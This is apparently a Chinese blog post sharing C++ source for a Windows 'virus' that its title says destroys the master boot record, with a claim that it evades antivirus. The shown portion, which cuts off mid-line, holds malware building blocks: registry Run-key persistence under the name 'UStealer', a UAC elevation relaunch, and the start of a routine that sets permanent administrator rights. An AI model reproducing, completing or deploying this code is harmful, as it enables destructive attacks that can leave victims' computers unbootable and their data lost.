C++ Windows病毒 破坏MBR

项目地址

此处阅读体验更佳

C++代码，推荐Dev-c++编译。

2024年4月27日免杀

#include <bits/stdc++.h>
#include <windows.h>
#include <TlHelp32.h>
#include <winnt.h>
using namespace std;
namespace Windows_Admin {
    //windows权限管理
	#include <bits/stdc++.h>
	#include <windows.h>
	#include <TlHelp32.h>
	#include <winnt.h>
	using namespace std;
	#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
	LPWSTR ToLPWSTR(char** charArray) {
   
		int charCount = 0;
		// 计算总的多字节字符数
		while (charArray[charCount] != NULL) {
   
			charCount++;
		}

		int bufferSize = MultiByteToWideChar(CP_ACP, 0, charArray[0], -1, NULL, 0);
		LPWSTR lpwsz = new WCHAR[bufferSize];
		MultiByteToWideChar(CP_ACP, 0, charArray[0], -1, lpwsz, bufferSize);

		// 对于其他字符串重复转换过程
		for (int i = 1; i < charCount; ++i) {
   
			bufferSize = MultiByteToWideChar(CP_ACP, 0, charArray[i], -1, NULL, 0);
			LPWSTR temp = new WCHAR[bufferSize];
			MultiByteToWideChar(CP_ACP, 0, charArray[i], -1, temp, bufferSize);

			// 将转换后的宽字符字符串追加到lpwsz
			wcscat(lpwsz, temp);

			// 释放临时宽字符串
			delete[] temp;
		}

		return lpwsz;
	}

	void HKRunator(char *programName) {
    //程序名称（**全路径**）
		HKEY hkey = NULL;
		DWORD rc;

		rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项，如果有则打开该注册表项
		                    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
		                    0,
		                    NULL,
		                    REG_OPTION_NON_VOLATILE,
		                    KEY_WOW64_64KEY | KEY_ALL_ACCESS,    //部分windows系统编译该行会报错， 删掉 “”KEY_WOW64_64KEY | “” 即可
		                    NULL,
		                    &hkey,
		                    NULL);

		if (rc == ERROR_SUCCESS) {
   
			rc = RegSetValueEx(hkey,
			                   "UStealer",
			                   0,
			                   REG_SZ,
			                   (const BYTE *)programName,
			                   strlen(programName));
			if (rc == ERROR_SUCCESS) {
   
				RegCloseKey(hkey);
			}
		}
	}
	bool IsAdmin() {
    //是否为管理员
// return 1;
		BOOL b;
		SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
		PSID AdministratorsGroup;
		b = AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup);
		if (b) {
   
			if (!CheckTokenMembership(NULL, AdministratorsGroup, &b)) {
   
				b = FALSE;
			}
			FreeSid(AdministratorsGroup);
		}

		return(b);
	}

	void Get_Admin(char** argv) {
    //提升权限至管理员
		if (!IsAdmin()) {
   
			ShellExecute(NULL, "runas", argv[0], NULL, NULL, SW_SHOWNORMAL);
			cout<<"get!"<<endl;
			exit(0);
		}
	}

	bool Get_Permanent_Admin(int args,char** argv) {
    //永久管理员
//  if (argc < 1) {
   
//         std::cerr << "No file path provided." << std::endl;
//         return 1;
//     }

		// 获取文件路径
		std::string filePath = argv[0];

		// 注册表路径
		std::wstring regPath = L"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers";

		// 打开注册表项
		HKEY hKey;
		LONG result = RegOpenKeyExW(HKEY_CURRENT_USER, regPath.